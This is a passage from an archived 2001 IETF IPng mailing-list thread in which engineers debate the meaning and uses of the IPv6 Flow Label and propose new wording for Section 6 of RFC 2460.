charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz wrote: > > Date: Wed, 26 Dec 2001 13:57:08 -0500 (EST) > From: Scott Bradner > Message-ID: <200112261857.fBQIv8q12264@newdev.harvard.edu> > > | the whole point of class-based QoS is to not have to deal at the > | port and protocol level > > But the information about the QoS desired has to come from somewhere > doesn't it? We assume (as you say) that it doesn't come from the > port/protocol. It can't come from the traffic class (DSCP), as that's > explicitly been designated to be mutable - when it reaches any random > router it could contain any value at all - not in any way related to > the value it had when the packet left the originator. > > So, in your model, from where does an arbitrary router discover the QoS > request desired for this particular packet? The specific proposal for intserv usage is to signal the flow label value in an RSVP Filter_Spec, as part of the flow setup process. The specific proposal for diffserv usage is to use IANA-assigned values, specifically as per RFC 3140. As with the whole of diffserv, out-of-band configuration is also rqeuired. I only mention these answers as existence proofs; there may be other QOS mechanisms in the future with different answers. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:55:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCtdZR021027 for ; Thu, 27 Dec 2001 04:55:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCtdH3021026 for ipng-dist; Thu, 27 Dec 2001 04:55:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCtaZR021019 for ; Thu, 27 Dec 2001 04:55:36 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA11280 for ; Thu, 27 Dec 2001 04:55:38 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA17468 for ; Thu, 27 Dec 2001 05:55:36 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA07098; Thu, 27 Dec 2001 13:55:35 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA60234 from ; Thu, 27 Dec 2001 13:55:34 +0100 Message-Id: <3C2B1A46.8A982398@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:55:34 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Scott Bradner Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112250049.fBP0n1d08852@newdev.harvard.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott, Scott Bradner wrote: > > I've been watching the discussion over the IPv6 flow label for a while > and (like Perry) have yet to see anything I woukd call a real reason > to be doing anything with it - specifically I've seen no vendors say what > specific use they would put a FL to. I have discussed the flow label with product designers. They are ignoring it because the words in RFC 2460 are fuzzy. Yet the IESG has approved two standards track documents (RFC 2205 and the diffserv MIB) with specific uses for the flow label in support of the IETF's two QOS solutions. We've inadvertently set up a situation where no vendor is going to speak up. > > I find it hard to see why so much time is being spent on this other > than the fear that idle bits are the devil's playground - i.e. the > fear of unassigned bits in the header - A number of us believe that the above fuzziness and inconsistency needs to be resolved, one way or the other. > I'd rather wait until > we are real sure that 1/ there is one or more use(s) for the FL that > consensus can be reached on, As noted, we've already standardised two... > 2/ have some understanding on what the FL > characteristics are for those uses afaik this is the case: locally unique, immutable, and (for intserv) IANA-assigned as per RFC 3140. > > Over the last few years I have seen suggestions ranging from the original > idea of ofloading router forwarding engines (hard to justify in an era > of ASIC-based and network processor-based forwarders, to an ID for the > owner of the content of a packet, to QoS lables (which are hard to > diferentiate from difserv code points in teh real world), to billing > information. None of these have presented a compelling reason to think > that we understand any FL use well enough to define anything now. Disagree. The QOS usages are clear and well-defined. The others are all pretty dumb. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 05:06:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRD6xZR021067 for ; Thu, 27 Dec 2001 05:06:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRD6xob021066 for ipng-dist; Thu, 27 Dec 2001 05:06:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRD6uZR021059 for ; Thu, 27 Dec 2001 05:06:56 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA05208 for ; Thu, 27 Dec 2001 05:06:57 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA14312 for ; Thu, 27 Dec 2001 06:07:50 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id OAA09432; Thu, 27 Dec 2001 14:06:54 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA40300 from ; Thu, 27 Dec 2001 14:06:53 +0100 Message-Id: <3C2B1CED.5752F5C@hursley.ibm.com> Date: Thu, 27 Dec 2001 14:06:53 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Perry E. Metzger" wrote: ... > Repeating my earlier request: > > I'm an old fashioned kind of engineer. I'd like to see some folks from > router vendors give us precise information about the *exact* use > they'll put the flow label information to, Here are the precise definitions the IETF has documented: 1) IPv6 Flow-label FILTER_SPEC object: Class = 10, C-Type = 3 [RFC 2205, page 87] 2) diffServMultiFieldClfrFlowId OBJECT-TYPE SYNTAX Unsigned32 (0..1048575) MAX-ACCESS read-create STATUS current DESCRIPTION "The flow identifier in an IPv6 header." ::= { diffServMultiFieldClfrEntry 8 } [draft-ietf-diffserv-mib-16.txt, approved as PS, page 52] but these will be largely ignored by implementors until RFC 2460 is cleaned up. > and quantitative > information about how much better it will be for them to have the flow > label than not to have it. Nobody is going to publish that sort of competitive data. As noted earlier, this is quite likely to be either qualitative (ability to classify ESP traffic) or simply a matter of heat dissipation and the marginal cost of a chip set. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 05:24:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRDOPZR021095 for ; Thu, 27 Dec 2001 05:24:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRDOPUj021094 for ipng-dist; Thu, 27 Dec 2001 05:24:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRDOMZR021087 for ; Thu, 27 Dec 2001 05:24:22 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA06706 for ; Thu, 27 Dec 2001 05:24:24 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16757 for ; Thu, 27 Dec 2001 05:24:23 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id OAA09232; Thu, 27 Dec 2001 14:24:21 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA64190 from ; Thu, 27 Dec 2001 14:24:19 +0100 Message-Id: <3C2B2103.1B167487@hursley.ibm.com> Date: Thu, 27 Dec 2001 14:24:19 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: Keith Moore , ipng@sunroof.eng.sun.com Subject: Proposed update to RFC 2460 [was Re: Flow Label] References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> <878zbp8vh7.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Perry E. Metzger" wrote: > > Keith Moore writes: > > > Windows XP and such > > > aren't going to be obeying any of this, so the routers have to look at > > > the contents of the packets anyway. > > > > Shall we forever constrain IPv6 to support only what is now supported by > > Microsoft? > > No, but the further along the deployment curve you get, the more > seriously you have to examine changes. We're far enough along that > changes have to be made with the utmost of conservatism, and have to > be made under the premise that backward compatibility can no longer be > sacrificed. Couldn't agree more. That is why I support Tony's proposal, which seems to me to be very conservative, minimalist, and the only viable alternative to MBZ. Expanding on that, I'd like to propose the following as the complete and total replacement of Section 6 of RFC 2460. The 20-bit Flow Label field in the IPv6 header MAY be used by a source to uniquely label sets of packets requiring special handling by IPv6 routers. Nodes that do not support the Flow Label field MUST set the field to zero when originating a packet, and MUST ignore the field when receiving a packet. All routers MUST pass the field on unchanged when forwarding a packet. This specification does not further define the meaning of the Flow Label. [and delete Appendix A, which is unhelpful.] Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 06:10:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBREA1ZR021148 for ; Thu, 27 Dec 2001 06:10:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBREA0Xx021147 for ipng-dist; Thu, 27 Dec 2001 06:10:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRE9vZR021140 for ; Thu, 27 Dec 2001 06:09:57 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA09552 for ; Thu, 27 Dec 2001 06:09:59 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA10890 for ; Thu, 27 Dec 2001 06:09:59 -0800 (PST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBRE9w714476 for ipng@sunroof.eng.sun.com; Thu, 27 Dec 2001 09:09:58 -0500 (EST) Date: Thu, 27 Dec 2001 09:09:58 -0500 (EST) From: Scott Bradner Message-Id: <200112271409.fBRE9w714476@newdev.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: Flow Label Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian sez: > Disagree. The QOS usages are clear and well-defined. The others are all > pretty dumb. I disagree on both parts of this Brian thinks the "other" uses for the flow label are dumb, I happen to agree but the people who made the proposals did not think they were dumb - I do not claim to have perfect knowledge of all things Brian also says that the QOS usages are clear and well-defined, I see no reason to think this is the case The issues of how to use Diffserv and what interdomain QOS mean are complex and not captured by the 24 bits the WG has in play Who can say that it is even useful to know half way around the world what a sender wanted for QoS when there is no way to know if that sender had authority or local priority to ask for that QoS and, at least at this time, there is no way for the remote ISP to do settlements to get paid for treating the packet in any way other than best effort I think that a lot of work needs to be done on what QoS means in an inter-domain world before we can even guess if e2e QoS has any meaning. I think Tony's proposed text is nice but it is only a cellophane fig leaf over the fact that we have no idea how to "do" QoS in the real-world Internet. I see no particular advantage to adopting the text. Scott (ps - for a data point in the mutability camp, Cisco IP phones are designed with two Ethernet jacks, one to connect to the wall jack - the desktop machine is to be plugged into the other. The phone clears the DSCP on all packets it forwards from the desktop and sets the DSCP to 5 on all of its own data packets - I assume to protect the infrastructure from applications on the desktop that might overwhelm the net with packets marked as high priority) -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 06:49:14 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBREnEZR021225 for ; Thu, 27 Dec 2001 06:49:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBREnEh4021224 for ipng-dist; Thu, 27 Dec 2001 06:49:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBREnBZR021217 for ; Thu, 27 Dec 2001 06:49:11 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA12192 for ; Thu, 27 Dec 2001 06:49:13 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA17167 for ; Thu, 27 Dec 2001 06:49:12 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA09410; Thu, 27 Dec 2001 15:49:10 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA38070 from ; Thu, 27 Dec 2001 15:49:08 +0100 Message-Id: <3C2B34E4.CC5C3803@hursley.ibm.com> Date: Thu, 27 Dec 2001 15:49:08 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Scott Bradner Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112271409.fBRE9w714476@newdev.harvard.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott Bradner wrote: > > Brian sez: > > Disagree. The QOS usages are clear and well-defined. The others are all > > pretty dumb. > > I disagree on both parts of this > > Brian thinks the "other" uses for the flow label are dumb, I happen to agree > but the people who made the proposals did not think they were dumb - I > do not claim to have perfect knowledge of all things Neither do I. I do have reasons for the statement I made, but since there have been no proposals that I've seen for the other uses (except that the CATNIP-like label swapping idea morphed into MPLS) it doesn't seem worth analysing vague ideas. > > Brian also says that the QOS usages are clear and well-defined, I see > no reason to think this is the case I think this has been covered adequately in other messages for Intserv and Diffserv, with specific detail. > > The issues of how to use Diffserv and what interdomain QOS mean are > complex and not captured by the 24 bits the WG has in play Nobody said they are. The issue is getting something minimal and unambiguous into the IPv6 spec before it's too late. > > Who can say that it is even useful to know half way around the world > what a sender wanted for QoS when there is no way to know if that sender > had authority or local priority to ask for that QoS and, at least at this > time, there is no way for the remote ISP to do settlements to get > paid for treating the packet in any way other than best effort These issues will never be resolved unless we have the bare bones of a mechanism to build on. > > I think that a lot of work needs to be done on what QoS means in > an inter-domain world before we can even guess if e2e QoS has any meaning. Indeed, for the general case. But there are scenarios involving relatively small sets of sites and ISPs where we can see how to construct e2eQOS. > > I think Tony's proposed text is nice but it is only a cellophane fig > leaf over the fact that we have no idea how to "do" QoS in the real-world > Internet. I see no particular advantage to adopting the text. I think it is better than MBZ text simply because it sets some boundary conditions that we can work with. MBZ text just stops all work on this topic for the foreseeable future. > > Scott > > (ps - for a data point in the mutability camp, Cisco IP phones are designed > with two Ethernet jacks, one to connect to the wall jack - the desktop > machine is to be plugged into the other. The phone clears the DSCP on > all packets it forwards from the desktop and sets the DSCP to 5 on all > of its own data packets - I assume to protect the infrastructure from > applications on the desktop that might overwhelm the net with packets > marked as high priority) Right, and this is a hangover from the days before the EF code point was assigned, and we were advising experimenters to use Precedence 5 for EF tests. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:02:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRF2pZR021264 for ; Thu, 27 Dec 2001 07:02:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRF2pvZ021263 for ipng-dist; Thu, 27 Dec 2001 07:02:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRF2lZR021256 for ; Thu, 27 Dec 2001 07:02:47 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05246 for ; Thu, 27 Dec 2001 07:02:30 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA07603 for ; Thu, 27 Dec 2001 07:02:29 -0800 (PST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBRF2IP14581; Thu, 27 Dec 2001 10:02:18 -0500 (EST) Date: Thu, 27 Dec 2001 10:02:18 -0500 (EST) From: Scott Bradner Message-Id: <200112271502.fBRF2IP14581@newdev.harvard.edu> To: brian@hursley.ibm.com, sob@harvard.edu Subject: Re: Flow Label Cc: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Nobody said they are. The issue is getting something minimal and > unambiguous into the IPv6 spec before it's too late. if you want "something minimal" why should it imply anyting about QoS? Tony's words talk about "packets requiring special handling" - I see no reason to think that any router will ever want to look at a FL for any QoS related reason - there may be other reasons that routers might want to look at FLs or there might be e2e reasons but I think it is far too early to guess at uses if you want "something minimal" this would do: The 20-bit Flow Label field in the IPv6 header MAY be set by a source to uniquely label sets of packets. Nodes that do not support the Flow Label field MUST set the field to zero when originating a packet, and MUST ignore the field when receiving a packet. All routers MUST pass the field on unchanged when forwarding a packet. Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:09:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRF9LZR021295 for ; Thu, 27 Dec 2001 07:09:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRF9KPS021294 for ipng-dist; Thu, 27 Dec 2001 07:09:20 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRF9GZR021287 for ; Thu, 27 Dec 2001 07:09:16 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA25068 for ; Thu, 27 Dec 2001 07:09:17 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA20518 for ; Thu, 27 Dec 2001 07:09:16 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id 84A00D97C5; Thu, 27 Dec 2001 10:09:15 -0500 (EST) From: "Perry E. Metzger" To: Brian E Carpenter Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> Date: 27 Dec 2001 10:09:15 -0500 In-Reply-To: <3C2B1CED.5752F5C@hursley.ibm.com> Message-ID: <87n1043dk4.fsf@snark.piermont.com> Lines: 28 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter writes: > > and quantitative > > information about how much better it will be for them to > > have the flow > > label than not to have it. > > Nobody is going to publish that sort of competitive data. As noted earlier, > this is quite likely to be either qualitative (ability to classify ESP > traffic) We can already classify ESP traffic. The SPI for a particular host to host connection is externally visible likely unique for a given flow in most applications. (The VPN case is a bit different but the VPN case is, we hope, not the bulk of traffic in the future.) We can also already label the individual packets according to traffic class. > or simply a matter of heat dissipation and the marginal cost of > a chip set. Well, if it truly makes no difference, why are we advocating the change? -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:15:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFFpZR021365 for ; Thu, 27 Dec 2001 07:15:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRFFpch021364 for ipng-dist; Thu, 27 Dec 2001 07:15:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFFmZR021357 for ; Thu, 27 Dec 2001 07:15:48 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA27100 for ; Thu, 27 Dec 2001 07:15:49 -0800 (PST) Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA10766 for ; Thu, 27 Dec 2001 07:15:48 -0800 (PST) Received: from sgoswamipcl (dsl-65-184-63-5.telocity.com [65.184.63.5]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with SMTP id KAA02905 for ; Thu, 27 Dec 2001 10:15:47 -0500 (EST) From: "Subrata Goswami" To: Subject: RE: Flow Label Date: Thu, 27 Dec 2001 07:19:46 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3C2B1CED.5752F5C@hursley.ibm.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Both of the following example actually only tells you how to set them, not how to use them and both are optional. Given the fact that there are only 20 bits in the flow label, then globally only 4K flows can be defined - is that enough ? Subrata -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Brian E Carpenter Sent: Thursday, December 27, 2001 5:07 AM To: Perry E. Metzger Cc: Michael Thomas; ipng@sunroof.eng.sun.com Subject: Re: Flow Label "Perry E. Metzger" wrote: ... > Repeating my earlier request: > > I'm an old fashioned kind of engineer. I'd like to see some folks from > router vendors give us precise information about the *exact* use > they'll put the flow label information to, Here are the precise definitions the IETF has documented: 1) IPv6 Flow-label FILTER_SPEC object: Class = 10, C-Type = 3 [RFC 2205, page 87] 2) diffServMultiFieldClfrFlowId OBJECT-TYPE SYNTAX Unsigned32 (0..1048575) MAX-ACCESS read-create STATUS current DESCRIPTION "The flow identifier in an IPv6 header." ::= { diffServMultiFieldClfrEntry 8 } [draft-ietf-diffserv-mib-16.txt, approved as PS, page 52] but these will be largely ignored by implementors until RFC 2460 is cleaned up. > and quantitative > information about how much better it will be for them to have the flow > label than not to have it. Nobody is going to publish that sort of competitive data. As noted earlier, this is quite likely to be either qualitative (ability to classify ESP traffic) or simply a matter of heat dissipation and the marginal cost of a chip set. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 07:29:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRFTMZR021396 for ; Thu, 27 Dec 2001 07:29:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRFTMmi021395 for ipng-dist; Thu, 27 Dec 2001 